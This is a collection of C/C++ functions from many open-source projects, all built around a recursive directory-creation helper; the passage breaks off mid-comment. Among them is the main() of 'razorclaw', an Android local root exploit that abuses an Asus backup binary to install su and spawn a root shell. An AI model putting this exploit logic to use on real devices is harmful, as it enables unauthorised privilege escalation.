void create_data_dir(void **state) { setenv("XDG_DATA_HOME", "./tests/files/xdg_data_home", 1); gchar *xdg_data = xdg_get_data_home(); GString *profanity_dir = g_string_new(xdg_data); g_string_append(profanity_dir, "/profanity"); if (!mkdir_recursive(profanity_dir->str)) { assert_true(FALSE); } g_free(xdg_data); g_string_free(profanity_dir, TRUE); }
static bool create_user_directory (void) { char buffer[FILENAME_MAX]; if (!sys_get_user_path (buffer, sizeof (buffer))) { game_user_path = xstrdup ("qdata" FS_SEP_STR "savegame"); return true; } game_user_path = xstrdup (buffer); return mkdir_recursive (game_user_path, 0700); }
int parse_copy_block(struct aos_block *block, unsigned int blocknumber, int detected_device) { struct aos_block_copy *copy = (struct aos_block_copy *)block->data; char *name; if(verbose) printf("(%u) Copy \"%s\".\n", blocknumber, copy->name); // Choose the destination name switch(copy->partition) { case AOS_PARTITION_SYSTEM: { name = bprintf("root/system/%s", copy->name); break; } case AOS_PARTITION_DATA: { name = bprintf( "root/data/%s", copy->name); break; } case AOS_PARTITION_CRAMFS: { name = bprintf("root/cramfs/%s", copy->name); break; } default: { name = bprintf("root/copy-%u/%s", copy->partition, copy->name); break; } } // Make sure the folder exist, and write the file to disk mkdir_recursive(name); file_write(name, copy->data, copy->size); // Write to digest if(strchr(copy->name, ' ') == NULL) // Quirks to keep digest clean log_write("digest", "copy %u %s %s\n", copy->partition, copy->name, name); else log_write("digest", "copy %u \"%s\" \"%s\"\n", copy->partition, copy->name, name); // Handle .cramfs.secure files if(!strcasecmp(©->name[strlen(copy->name)-strlen(".cramfs.secure")], ".cramfs.secure")) { parse_cramfs_archive(copy->name, copy->data, copy->size, name, detected_device); } free(name); return 1; }
bool CTar32::extract(const char *fname_extract_to) { std::string fname; if(fname_extract_to){ fname = fname_extract_to; }else{ fname = m_currentfile_status.filename; } size64 filesize = m_currentfile_status.original_size; const int buf_size = 4096; char buf[buf_size]; CTar32InternalFile file; file.open(this); //string dirname = get_dirname(fname.c_str()); //mkdir_recursive(dirname.c_str()); mkdir_recursive(get_dirname(fname.c_str()).c_str()); //std::ofstream fs_w; fast_fstream fs_w; fs_w.open(fname.c_str(), std::ios::out|std::ios::binary); if(fs_w.fail()){return false;} //FILE *fp_w = fopen(fname.c_str(), "wb"); //if(fp_w == NULL){ // return false; //} size64 readsize = 0; while(filesize==-1 || readsize<filesize){ size64 nextreadsize = (filesize==-1) ? buf_size : min(filesize-readsize,buf_size); size64 n = file.read(buf,nextreadsize); fs_w.write(buf,nextreadsize); if(fs_w.fail()){ if(filesize==-1){ return true; }else{ return false; } } //fwrite(buf,1,ret,fp_w); readsize += n; if(n != nextreadsize){/*fclose(fp_w);*/return false;} } //fclose(fp_w); return true; }
static DWORD prepare_domain_socket(PCSTR pszPath) { DWORD dwError = 0; PSTR pszPathCopy = NULL; PSTR pszDirname = NULL; PSTR pszBasename = NULL; pszPathCopy = strdup(pszPath); if (!pszPathCopy) { dwError = ENOMEM; BAIL_ON_SRVSVC_ERROR(dwError); } pszBasename = strrchr(pszPathCopy, '/'); if (!pszBasename) { dwError = EINVAL; BAIL_ON_SRVSVC_ERROR(dwError); } *(pszBasename++) = '\0'; pszDirname = pszPathCopy; dwError = mkdir_recursive(pszDirname, 0655); BAIL_ON_SRVSVC_ERROR(dwError); /* Ensure directory is only accessible by root */ if (chmod(pszDirname, 0600)) { dwError = errno; BAIL_ON_SRVSVC_ERROR(dwError); } error: if (pszPathCopy) free(pszPathCopy); return dwError; }
int parse_mtd_block(struct aos_block *block, unsigned int blocknumber, int detected_device) { struct aos_block_mtd *mtd = (struct aos_block_mtd *)block->data; char *name; if(verbose) printf("(%u) MTD \"%s\" at offset 0x%08x.\n", blocknumber, mtd->name, mtd->offset); name = bprintf("flash/%s-0x%08x", mtd->name, mtd->offset); mkdir_recursive(name); file_write(name, mtd->data, mtd->size); log_write("digest", "mtd %s 0x%08x %s\n", mtd->name, mtd->offset, name); parse_flash_partition(mtd->data, mtd->size, mtd->name, mtd->offset, name, detected_device); free(name); return 1; }
void init_file_path() { char tmp[64]; time_t t = time( NULL ); struct tm* tm1 = localtime(&t); if( !tm1 ){ perror("log.c init_file_path: ERROR GETTING SYSTEM TIME."); } log_day = tm1->tm_mday; strftime( tmp, 64, "/%Y-%m-%d.txt", tm1 ); if( access( dir, 0 )!=0 ){ mkdir_recursive( dir ); } strcpy( filename, dir ); strcat( filename, tmp ); if( fp_log ) fclose( fp_log ); fp_log = fopen( filename, "aw" ); }
/* * Make the given directory and its parents as necessary, using the * given mode. Return TRUE on success, FALSE otherwise. Partial * results are not cleaned up on errors. */ static notmuch_bool_t mkdir_recursive (const void *ctx, const char *path, int mode) { struct stat st; int r; char *parent = NULL, *slash; /* First check the common case: directory already exists. */ r = stat (path, &st); if (r == 0) { if (! S_ISDIR (st.st_mode)) { fprintf (stderr, "Error: '%s' is not a directory: %s\n", path, strerror (EEXIST)); return FALSE; } return TRUE; } else if (errno != ENOENT) { fprintf (stderr, "Error: stat '%s': %s\n", path, strerror (errno)); return FALSE; } /* mkdir parents, if any */ slash = strrchr (path, '/'); if (slash && slash != path) { parent = talloc_strndup (ctx, path, slash - path); if (! parent) { fprintf (stderr, "Error: %s\n", strerror (ENOMEM)); return FALSE; } if (! mkdir_recursive (ctx, parent, mode)) return FALSE; } if (mkdir (path, mode)) { fprintf (stderr, "Error: mkdir '%s': %s\n", path, strerror (errno)); return FALSE; } return parent ? sync_dir (parent) : TRUE; }
int main(int argc, const char *argv[]) { const char *filename = "/etc/fstab"; FILE *f; struct mntent *ent; if (argc == 2) filename = argv[1]; f = setmntent(filename, "r"); if (f == NULL) err(1, "%s", filename); while ((ent = getmntent(f)) != NULL) { if (strcmp(ent->mnt_dir, "none") != 0) mkdir_recursive(ent->mnt_dir); } endmntent(f); return 0; }
static int handle_or_update(const char *path, ZipArchive *zip) { //first, extract everything ui_print("Extracting archive...\n"); char cmd[512]; //ensure the target directory on the sdcard exists and is clean sprintf(cmd, "rm -rf %s", OR_UPDATE_EXTRACT_DIR_NAME); run_shell_script(cmd, 0, NULL); if (mkdir_recursive(OR_UPDATE_EXTRACT_DIR_NAME)) { LOGE("Failed creating: "OR_UPDATE_EXTRACT_DIR_NAME"\n"); return INSTALL_ERROR; } bool ok = mzExtractRecursive(zip, "", OR_UPDATE_EXTRACT_DIR_NAME, 0, NULL, NULL, NULL); if (!ok) { LOGE("Failed extracting the archive.\n"); //clear it sprintf(cmd, "rm -rf %s", OR_UPDATE_EXTRACT_DIR_NAME); run_shell_script(cmd, 0, NULL); return 1; } sprintf(cmd, "%s \"%s/%s\" \"%s\"", OR_SCRIPT_UPDATER_NAME, OR_UPDATE_EXTRACT_DIR_NAME, ASSUMED_OR_UPDATE_SCRIPT_NAME, OR_UPDATE_EXTRACT_DIR_NAME); run_shell_script(cmd, 1, NULL); //clear it sprintf(cmd, "rm -rf %s", OR_UPDATE_EXTRACT_DIR_NAME); run_shell_script(cmd, 0, NULL); return INSTALL_SUCCESS; }
int Populate_ByName_using_emmc(void) { #define EMMC "/proc/emmc" #define DEV_BLOCKS "/dev/block" #define DEV_BYNAME MR_POPULATE_BY_NAME_PATH INFO("nkk71: check by-name support"); if (mkdir_recursive(DEV_BYNAME, 0755) == 0) { FILE * fp; char strDev[20], strSize[20], strErasesize[20], strName[20]; char strHardlink[80], strSoftlink[80]; INFO("nkk71: begin populate"); fp = fopen (EMMC, "r"); if (fp == NULL) ERROR("nkk71: Error opening EMMC %s", EMMC); else { while (!feof(fp)) { fscanf(fp, "%[^:]: %s %s \"%[^\"]\" ", strDev, strSize, strErasesize, strName); if (strncmp("mmcblk0p", strDev, 8) == 0) { sprintf (strHardlink, "%s/%s", DEV_BLOCKS, strDev); sprintf (strSoftlink, "%s/%s", DEV_BYNAME, strName); INFO("nkk71: link %s to %s - result=%i\n", strSoftlink, strHardlink, symlink(strHardlink, strSoftlink)); } } fclose(fp); } INFO("nkk71: populate done"); } else INFO("nkk71: by-name already found, aborting populate"); return(0); }
int parse_flash_block(struct aos_block *block, unsigned int blocknumber, int detected_device) { struct aos_block_flash *flash = (struct aos_block_flash *)block->data; char *name; if(verbose) printf("(%u) Flash segment \"%s\" at offset 0x%08x.\n", blocknumber, flash_name(flash->offset), flash->offset); switch(flash->offset) { case 0x00000000: break; case 0x003f8000: break; case 0x00060000: break; case 0x00010000: printf("WARNING: keys are changed in this update!\n"); break; case 0x00030000: if(*(uint32_t *)flash->data != AOS_ZMfX_MAGIC) printf("WARNING: Wrong ZMfX header flashed at 0x030000 (this is bad!)\n"); break; case 0x00080000: if(*(uint32_t *)flash->data != AOS_KERNEL_MAGIC) printf("WARNING: Wrong kernel header flashed at 0x080000 (this is bad!)\n"); break; case 0x00210000: if(*(uint32_t *)flash->data != AOS_KERNEL_MAGIC) printf("WARNING: Wrong kernel header flashed at 0x210000 (this is bad!)\n"); break; } name = bprintf("flash/%s_0x%08x", flash_name(flash->offset), flash->offset); mkdir_recursive(name); file_write(name, flash->data, flash->size); log_write("digest", "flash 0x%08x %s\n", flash->offset, name); parse_flash_partition(flash->data, flash->size, flash_name(flash->offset), flash->offset, name, detected_device); free(name); return 1; }
int parse_shell_block(struct aos_block *block, unsigned int blocknumber) { struct aos_block_shell *shell= (struct aos_block_shell *)block->data; char *name; if(verbose) printf("(%u) Shell script.\n", blocknumber); name = bprintf("shell/script_%u.sh", blocknumber); // Make sure the folder exist, and write the file to disk mkdir_recursive(name); file_write(name, shell->data, shell->length); // Write to digest log_write("digest", "shell %s\n", name); free(name); return 1; }
void make_link_init(const char *oldpath, const char *newpath) { int ret; char buf[256]; const char *slash; int width; slash = strrchr(newpath, '/'); if (!slash) return; width = slash - newpath; if (width <= 0 || width > (int)sizeof(buf) - 1) return; memcpy(buf, newpath, width); buf[width] = 0; ret = mkdir_recursive(buf, 0755); if (ret) PLOG(ERROR) << "Failed to create directory " << buf; ret = symlink(oldpath, newpath); if (ret && errno != EEXIST) PLOG(ERROR) << "Failed to symlink " << oldpath << " to " << newpath; }
int logfile_open() { char logpath[PATH_MAX]; char timestamp[1024]; char *logdir="/var/log"; format_time(timestamp, sizeof(timestamp), time(NULL)); snprintf(logpath, sizeof(logpath), "%s/fsarchiver_%s_%ld.log", logdir, timestamp, (long)getpid()); mkdir_recursive(logdir); g_logfile=open64(logpath, O_RDWR|O_CREAT|O_TRUNC|O_LARGEFILE, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH); if (g_logfile>=0) { msgprintf(MSG_VERB1, "Creating logfile in %s\n", logpath); msgprintf(MSG_VERB1, "Running fsarchiver version=[%s], fileformat=[%s]\n", FSA_VERSION, FSA_FILEFORMAT); return FSAERR_SUCCESS; } else { sysprintf("Cannot create logfile in %s\n", logpath); return FSAERR_UNKNOWN; } }
/* * Create the given maildir folder, i.e. maildir and its * subdirectories cur/new/tmp. Return true on success, false * otherwise. Partial results are not cleaned up on errors. */ static bool maildir_create_folder (const void *ctx, const char *maildir, bool world_readable) { const char *subdirs[] = { "cur", "new", "tmp" }; const int mode = (world_readable ? 0755 : 0700); char *subdir; unsigned int i; for (i = 0; i < ARRAY_SIZE (subdirs); i++) { subdir = talloc_asprintf (ctx, "%s/%s", maildir, subdirs[i]); if (! subdir) { fprintf (stderr, "Error: %s\n", strerror (ENOMEM)); return false; } if (! mkdir_recursive (ctx, subdir, mode)) return false; } return true; }
/* * Create the given maildir folder, i.e. maildir and its * subdirectories cur/new/tmp. Return TRUE on success, FALSE * otherwise. Partial results are not cleaned up on errors. */ static notmuch_bool_t maildir_create_folder (const void *ctx, const char *maildir) { const char *subdirs[] = { "cur", "new", "tmp" }; const int mode = 0700; char *subdir; unsigned int i; for (i = 0; i < ARRAY_SIZE (subdirs); i++) { subdir = talloc_asprintf (ctx, "%s/%s", maildir, subdirs[i]); if (! subdir) { fprintf (stderr, "Error: %s\n", strerror (ENOMEM)); return FALSE; } if (! mkdir_recursive (ctx, subdir, mode)) return FALSE; } return TRUE; }
static int log_open_file(char *name) { int fd = 0; if (access(name, W_OK) == 0) //file exist { fd = open(name, O_WRONLY | O_APPEND, 0); } else { fd = open(name, O_WRONLY | O_APPEND | O_CREAT, 0644); if (fd > 0) { return fd; } char tmp; char *dir = strrchr(name, '/'); if (NULL == dir) { printf("the file must be a dir\n"); return -1; } tmp = *dir; *dir = '\0'; if (false == mkdir_recursive(name, (mode_t)0644)) { printf("the mkdir recursive failed, the dir is %s\n", name); return -1; } *dir = tmp; fd = open(name, O_WRONLY | O_APPEND | O_CREAT, 0644); } if (fd < 0) { printf("opening log file '%s' failed: %s", name, strerror(errno)); return -1; } return fd; }
/* * otwarcie pliku do zapisu/odczytu * tworzy wszystkie katalogi po drodze, jeśli nie istnieją i mkdir =1 * ff - xml 2 || irssi 3 || simple 1 * zwraca numer deskryptora bądź NULL */ static int logs_open_file(logs_log_t *ll) { g_return_val_if_fail(ll != NULL, -1); if (ll->file) return fseek(ll->file, 0, SEEK_END); g_return_val_if_fail(ll->fname != NULL, -1); g_return_val_if_fail(ll->format != LOG_FORMAT_NONE, -1); // XXX temp debug("[logs] opening log file %s ff:%d\n", __(ll->fname), ll->format); if (!g_file_test(ll->fname, G_FILE_TEST_IS_REGULAR) && mkdir_recursive(ll->fname, 0)) { print("directory_cant_create", ll->fname, strerror(errno)); return -1; } if (!(ll->file = fopen(ll->fname, "a+"))) return -1; if (ll->format == LOG_FORMAT_XML) { /* prepare xml file */ fputs(EKG_EMPTY_XML_LOG, ll->file); } // move ll on top if (ll != g_ptr_array_index(logs_logs, logs_logs->len - 1)) { g_ptr_array_set_free_func(logs_logs, NULL); g_ptr_array_remove(logs_logs, ll); g_ptr_array_add(logs_logs, ll); g_ptr_array_set_free_func(logs_logs, logs_log_destroy); } open_files_count++; logs_open_files_check(); return fseek(ll->file, 0, SEEK_END); }
void fs_mkdir(const char *name) { EUID_ASSERT(); // check directory name invalid_filename(name, 0); // no globbing char *expanded = expand_macros(name); if (strncmp(expanded, cfg.homedir, strlen(cfg.homedir)) != 0 && strncmp(expanded, "/tmp", 4) != 0) { fprintf(stderr, "Error: only directories in user home or /tmp are supported by mkdir\n"); exit(1); } struct stat s; if (stat(expanded, &s) == 0) { // file exists, do nothing goto doexit; } // create directory pid_t child = fork(); if (child < 0) errExit("fork"); if (child == 0) { // drop privileges drop_privs(0); // create directory mkdir_recursive(expanded); #ifdef HAVE_GCOV __gcov_flush(); #endif _exit(0); } // wait for the child to finish waitpid(child, NULL, 0); doexit: free(expanded); }
void make_link(const char *oldpath, const char *newpath) { int ret; char buf[256]; char *slash; int width; slash = strrchr(newpath, '/'); if (!slash) return; width = slash - newpath; if (width <= 0 || width > (int)sizeof(buf) - 1) return; memcpy(buf, newpath, width); buf[width] = 0; ret = mkdir_recursive(buf, 0755); if (ret) ERROR("Failed to create directory %s: %s (%d)\n", buf, strerror(errno), errno); ret = symlink(oldpath, newpath); if (ret && errno != EEXIST) ERROR("Failed to symlink %s to %s: %s (%d)\n", oldpath, newpath, strerror(errno), errno); }
void otr_keygen(ProfAccount *account) { if (data_loaded) { cons_show("OTR key already generated."); return; } if (jid) { free(jid); } jid = strdup(account->jid); log_info("Generating OTR key for %s", jid); gchar *data_home = xdg_get_data_home(); GString *basedir = g_string_new(data_home); free(data_home); gchar *account_dir = str_replace(jid, "@", "_at_"); g_string_append(basedir, "/profanity/otr/"); g_string_append(basedir, account_dir); g_string_append(basedir, "/"); free(account_dir); if (!mkdir_recursive(basedir->str)) { log_error("Could not create %s for account %s.", basedir->str, jid); cons_show_error("Could not create %s for account %s.", basedir->str, jid); g_string_free(basedir, TRUE); return; } gcry_error_t err = 0; GString *keysfilename = g_string_new(basedir->str); g_string_append(keysfilename, "keys.txt"); log_debug("Generating private key file %s for %s", keysfilename->str, jid); cons_show("Generating private key, this may take some time."); cons_show("Moving the mouse randomly around the screen may speed up the process!"); ui_update(); err = otrl_privkey_generate(user_state, keysfilename->str, account->jid, "xmpp"); if (!err == GPG_ERR_NO_ERROR) { g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); log_error("Failed to generate private key"); cons_show_error("Failed to generate private key"); return; } log_info("Private key generated"); cons_show(""); cons_show("Private key generation complete."); GString *fpsfilename = g_string_new(basedir->str); g_string_append(fpsfilename, "fingerprints.txt"); log_debug("Generating fingerprints file %s for %s", fpsfilename->str, jid); err = otrl_privkey_write_fingerprints(user_state, fpsfilename->str); if (!err == GPG_ERR_NO_ERROR) { g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); log_error("Failed to create fingerprints file"); cons_show_error("Failed to create fingerprints file"); return; } log_info("Fingerprints file created"); err = otrl_privkey_read(user_state, keysfilename->str); if (!err == GPG_ERR_NO_ERROR) { g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); log_error("Failed to load private key"); data_loaded = FALSE; return; } err = otrl_privkey_read_fingerprints(user_state, fpsfilename->str, NULL, NULL); if (!err == GPG_ERR_NO_ERROR) { g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); log_error("Failed to load fingerprints"); data_loaded = FALSE; return; } data_loaded = TRUE; g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); g_string_free(fpsfilename, TRUE); return; }
int pl_file_mkdir_recursive(const char *path) { return mkdir_recursive(path); }
bool extract_files(const std::string &filename, const std::string &target, const std::vector<std::string> &files) { if (files.empty()) { return false; } autoclose::archive in(archive_read_new(), archive_read_free); autoclose::archive out(archive_write_disk_new(), archive_write_free); if (!in || !out) { LOGE("Out of memory"); return false; } archive_entry *entry; int ret; std::string cwd = get_cwd(); unsigned int count = 0; if (cwd.empty()) { return false; } if (!set_up_input(in.get(), filename)) { return false; } set_up_output(out.get()); if (!mkdir_recursive(target, S_IRWXU | S_IRWXG | S_IRWXO)) { LOGE("%s: Failed to create directory: %s", target.c_str(), strerror(errno)); return false; } if (chdir(target.c_str()) < 0) { LOGE("%s: Failed to change to target directory: %s", target.c_str(), strerror(errno)); return false; } auto chdir_back = finally([&] { chdir(cwd.c_str()); }); while ((ret = archive_read_next_header(in.get(), &entry)) == ARCHIVE_OK) { if (std::find(files.begin(), files.end(), archive_entry_pathname(entry)) != files.end()) { ++count; if (libarchive_copy_header_and_data(in.get(), out.get(), entry) != ARCHIVE_OK) { return false; } } } if (ret != ARCHIVE_EOF) { LOGE("Archive extraction ended without reaching EOF: %s", archive_error_string(in.get())); return false; } if (count != files.size()) { LOGE("Not all specified files were extracted"); return false; } return true; }
int main(int argc, const char **argv) { char path[512]; char cmd[1024]; int rc; printf("razorclaw - asus backup local root exploit.\n"); printf("by androidroot.mobi\n"); printf("-------------------------------------------\n\n"); if(getuid() == 0) { if(argc > 1 && !strcasecmp(argv[1], "--install")) { printf("[+] installing SuperUser and su\n"); return do_root(); } else { printf("[-] already root and nothing to do.\n\n"); printf("[*] hint: to install SuperUser and su pass the " "--install parameter on the command line.\n"); return 1; } } readlink("/proc/self/exe", path, sizeof(path)); path[strrchr(path, '/') - path] = '\0'; if(chdir(path)) { printf("[-] could not chdir into directory: %s\n", path); return 2; } if(!mkdir_recursive(DB_DIR)) { printf("[-] could not create directory: %s\n", DB_DIR); return 3; } else { printf("[+] created fake relative path.\n"); } if(!create_database()) { printf("[-] failed to create fake database.\n"); return 4; } else { printf("[+] created fake database.\n"); } snprintf(cmd, sizeof(cmd), "/system/xbin/asus-backup %s %s/%s --install >/dev/null", SECURE_ARG, path, strrchr(argv[0], '/') + 1); if(argc > 1 && !strcasecmp(argv[1], "--install")) { rc = system(cmd); switch(rc) { case DO_ROOT_OK: printf("[!] successfully rooted your device.\n"); break; case DO_ROOT_FAIL_MOUNT: printf("[-] failed to remount /system\n"); break; case DO_ROOT_FAIL_SU: printf("[-] failed to install su binary\n"); break; case DO_ROOT_FAIL_SU_SUID: printf("[-] failed to set su binary suid\n"); break; case DO_ROOT_FAIL_APK: printf("[-] failed to install Superuser.apk\n"); break; default: printf("[-] unknown error occurred whist " "trying to root device: %d\n", rc); break; } } else { printf("[!] spawning your root shell...\n"); rc = execl("/system/xbin/asus-backup", "/system/xbin/asus-backup", SECURE_ARG, "/system/bin/sh", NULL); } return rc; }
int FileStreamWrapper::mkdir(const String& path, int mode, int options) { if (options & k_STREAM_MKDIR_RECURSIVE) return mkdir_recursive(path, mode); return ::mkdir(File::TranslatePath(path).data(), mode); }
void parseArgs(VersionUpdateConfig *config, int argc, char *args[]) { if(argc < 4) { fprintf(stderr, "USAGE:%s\n", USAGE); exit(3); } if(debug) { int i = 0; for(i = 0; i < argc; i++) { fprintf(stdout, "param $%d == %s\n", i, args[i]); } } char *URL = args[1]; char *path = args[2]; int intervalSecond = atoi(args[3]); char *lockURL = args[4]; if(argc > 5) { debug = atoi(args[5]); } //global var size_t URLLen = strlen(URL); size_t pathLen = strlen(path); if(!parseLockUrl(lockURL, config)){ exit(1); } //interval time config->intervalSecond = intervalSecond; //url buffer *URLDomain = buffer_init_size(URLLen + 1); stringAppend(URLDomain, URL, URLLen); config->URLDomain = URLDomain; debug_buffer(URLDomain, "URLDomain"); //dir buffer *versionFileDir = buffer_init_size(pathLen + 1); char *lastChar = strrchr(path, '/'); if(NULL == lastChar) { fprintf(stderr, "USAGE:%s\n", USAGE); exit(5); } stringAppend(versionFileDir, path, pathLen - strlen(lastChar)); config->versionFileDir = versionFileDir; struct stat st; if (-1 == stat(versionFileDir->ptr, &st)) { //mkdir mkdir_recursive(versionFileDir->ptr); debug_buffer(versionFileDir, "mkdir_recursive make done...."); } debug_buffer(versionFileDir, "versionFileDir"); //source buffer *versionFilePath = buffer_init_size(pathLen + 1); stringAppend(versionFilePath, path, pathLen); config->versionFilePath = versionFilePath; debug_buffer(versionFilePath, "versionFilePath"); //expect buffer *expectVersionFilePath = buffer_init_size(versionFilePath->size); stringAppend(expectVersionFilePath, path, pathLen - 3); //--clean .gz config->expectVersionFilePath = expectVersionFilePath; debug_buffer(expectVersionFilePath, "expectVersionFilePath"); //response buffer *reponseFilePath = buffer_init_size(versionFilePath->size + REPONSE_LOG_LEN); stringAppend(reponseFilePath, expectVersionFilePath->ptr, expectVersionFilePath->used); stringAppend(reponseFilePath, REPONSE_LOG, REPONSE_LOG_LEN); config->reponseFilePath = reponseFilePath; debug_buffer(reponseFilePath, "reponseFilePath"); //tmp buffer *tmpVersionFilePath = buffer_init_size(versionFilePath->size + TMP_LEN); stringAppend(tmpVersionFilePath, versionFilePath->ptr, versionFilePath->used); stringAppend(tmpVersionFilePath, TMP, TMP_LEN); config->tmpVersionFilePath = tmpVersionFilePath; debug_buffer(tmpVersionFilePath, "tmpVersionFilePath"); }
void otr_on_connect(ProfAccount *account) { if (jid) { free(jid); } jid = strdup(account->jid); log_info("Loading OTR key for %s", jid); gchar *data_home = xdg_get_data_home(); GString *basedir = g_string_new(data_home); free(data_home); gchar *account_dir = str_replace(jid, "@", "_at_"); g_string_append(basedir, "/profanity/otr/"); g_string_append(basedir, account_dir); g_string_append(basedir, "/"); free(account_dir); if (!mkdir_recursive(basedir->str)) { log_error("Could not create %s for account %s.", basedir->str, jid); cons_show_error("Could not create %s for account %s.", basedir->str, jid); g_string_free(basedir, TRUE); return; } user_state = otrl_userstate_create(); gcry_error_t err = 0; GString *keysfilename = g_string_new(basedir->str); g_string_append(keysfilename, "keys.txt"); if (!g_file_test(keysfilename->str, G_FILE_TEST_IS_REGULAR)) { log_info("No OTR private key file found %s", keysfilename->str); data_loaded = FALSE; } else { log_info("Loading OTR private key %s", keysfilename->str); err = otrl_privkey_read(user_state, keysfilename->str); if (!err == GPG_ERR_NO_ERROR) { log_warning("Failed to read OTR private key file: %s", keysfilename->str); cons_show_error("Failed to read OTR private key file: %s", keysfilename->str); g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); return; } OtrlPrivKey* privkey = otrl_privkey_find(user_state, jid, "xmpp"); if (!privkey) { log_warning("No OTR private key found for account \"%s\", protocol \"xmpp\" in file: %s", jid, keysfilename->str); cons_show_error("No OTR private key found for account \"%s\", protocol \"xmpp\" in file: %s", jid, keysfilename->str); g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); return; } log_info("Loaded OTR private key"); data_loaded = TRUE; } GString *fpsfilename = g_string_new(basedir->str); g_string_append(fpsfilename, "fingerprints.txt"); if (!g_file_test(fpsfilename->str, G_FILE_TEST_IS_REGULAR)) { log_info("No OTR fingerprints file found %s", fpsfilename->str); data_loaded = FALSE; } else { log_info("Loading OTR fingerprints %s", fpsfilename->str); err = otrl_privkey_read_fingerprints(user_state, fpsfilename->str, NULL, NULL); if (!err == GPG_ERR_NO_ERROR) { log_error("Failed to load OTR fingerprints file: %s", fpsfilename->str); g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); g_string_free(fpsfilename, TRUE); return; } else { log_info("Loaded OTR fingerprints"); data_loaded = TRUE; } } if (data_loaded) { cons_show("Loaded OTR private key for %s", jid); } g_string_free(basedir, TRUE); g_string_free(keysfilename, TRUE); g_string_free(fpsfilename, TRUE); return; }
bool extract_file(CTar32CmdInfo &cmdinfo, CTar32 *pTarfile, const char *fname,std::vector<char> &buffer) { CTar32FileStatus &stat = pTarfile->m_currentfile_status; std::string fname2 = fname; EXTRACTINGINFOEX extractinfo; EXTRACTINGINFOEX64 exinfo64; MakeExtractingInfo(pTarfile,fname2.c_str(),extractinfo,exinfo64); { int ret = SendArcMessage(cmdinfo, ARCEXTRACT_BEGIN, &extractinfo,&exinfo64); if(ret){throw CTar32Exception("Cancel button was pushed.",ERROR_USER_CANCEL);} fname2 = extractinfo.exinfo.szDestFileName; } //上書き確認 if(cmdinfo.b_confirm_overwrite){ switch(ConfirmOverwrite(cmdinfo, exinfo64)){ case -1://cancel(abort) throw CTar32Exception("Cancel button was pushed.",ERROR_USER_CANCEL); break; case 1: //yes to all cmdinfo.b_confirm_overwrite=false; break; } } size64 filesize = pTarfile->m_currentfile_status.original_size; CTar32InternalFile file; file.open(pTarfile); //std::ofstream fs_w; fast_fstream fs_w; if(!cmdinfo.b_print){ mkdir_recursive(get_dirname(fname2.c_str()).c_str()); fs_w.open(fname2.c_str(), std::ios::out|std::ios::binary); if(fs_w.fail()){return false;} } size64 readsize = 0; //static std::vector<char> buf; //const int bufsize=512*1024; //buf.resize(bufsize); const size_t bufsize=buffer.size(); while(filesize ==-1 || readsize<filesize){ size64 nextreadsize; if(filesize == -1){ // case ".gz",".Z",".bz2" //nextreadsize = sizeof(buf); nextreadsize=bufsize; }else{ size64 nextreadsize64 = filesize-readsize; if(nextreadsize64 > bufsize){nextreadsize64 = bufsize;} nextreadsize = nextreadsize64; if(nextreadsize==0){ Sleep(0); } // nextreadsize = (int)min(filesize-readsize, sizeof(buf)); } if(nextreadsize==0){ Sleep(0); } size64 n = file.read(&buffer[0],nextreadsize); readsize += n; if(cmdinfo.b_print){ cmdinfo.output.write(&buffer[0],(size_t)n); //TODO:size lost }else{ fs_w.write(&buffer[0],n); if(fs_w.fail()){return false;} } if(n != nextreadsize){ if(filesize == -1){ // case .gz/.Z/.bz2" break; }else{ return false; } } // if(cmdinfo.hTar32StatusDialog){ extractinfo.exinfo.dwWriteSize = (DWORD)readsize; exinfo64.exinfo.dwWriteSize = (DWORD)readsize; exinfo64.llWriteSize = readsize; int ret = SendArcMessage(cmdinfo, ARCEXTRACT_INPROCESS, &extractinfo,&exinfo64); if(ret){throw CTar32Exception("Cancel button was pushed.",ERROR_USER_CANCEL);} // } } if(!cmdinfo.b_print){ fs_w.close(); struct _utimbuf ut; ut.actime = (stat.atime ? stat.atime : time(NULL)); ut.modtime = (stat.mtime ? stat.mtime : time(NULL)); int ret; ret = _utime(fname2.c_str(), &ut); ret = _chmod(fname2.c_str(), stat.mode); } // if(cmdinfo.hTar32StatusDialog){ extractinfo.exinfo.dwWriteSize = (DWORD)readsize; exinfo64.exinfo.dwWriteSize = (DWORD)readsize; exinfo64.llWriteSize = readsize; int ret = SendArcMessage(cmdinfo, 6, &extractinfo,&exinfo64); if(ret){throw CTar32Exception("Cancel button was pushed.",ERROR_USER_CANCEL);} // } return true; }
static FILE* logs_open_file(char *path, int ff) { char fullname[PATH_MAX]; #ifdef HAVE_LIBZ int zlibmode = 0; #endif if (ff != LOG_FORMAT_IRSSI && ff != LOG_FORMAT_SIMPLE && ff != LOG_FORMAT_XML && ff != LOG_FORMAT_RAW) { if (ff == LOG_FORMAT_NONE) debug("[logs] opening log file %s with ff == LOG_FORMAT_NONE CANCELLED\n", __(path), ff); else debug("[logs] opening log file %s with ff == %d CANCELED\n", __(path), ff); return NULL; } debug("[logs] opening log file %s ff:%d\n", __(path), ff); if (!path) { errno = EACCES; /* = 0 ? */ return NULL; } { /* check if such file was already open SLOW :( */ list_t l; for (l=log_logs; l; l = l->next) { logs_log_t *ll = l->data; log_window_t *lw; if (!ll || !(lw = ll->lw)) continue; /* debug_error("here: %x [%s, %s] [%d %d]\n", lw->file, lw->path, path, lw->logformat, ff); */ if (lw->file && lw->logformat == ff && !xstrcmp(lw->path, path)) { FILE *f = lw->file; lw->file = NULL; /* simulate fclose() on this */ return f; /* simulate fopen() here */ } } } if (mkdir_recursive(path, 0)) { print("directory_cant_create", path, strerror(errno)); return NULL; } g_strlcpy(fullname, path, PATH_MAX); if (ff == LOG_FORMAT_IRSSI) g_strlcat(fullname, ".log", PATH_MAX); else if (ff == LOG_FORMAT_SIMPLE) g_strlcat(fullname, ".txt", PATH_MAX); else if (ff == LOG_FORMAT_XML) g_strlcat(fullname, ".xml", PATH_MAX); else if (ff == LOG_FORMAT_RAW) g_strlcat(fullname, ".raw", PATH_MAX); #ifdef HAVE_LIBZ /* z log.c i starego ekg1. Wypadaloby zaimplementowac... */ /* nawet je¶li chcemy gzipowane logi, a istnieje nieskompresowany log, * 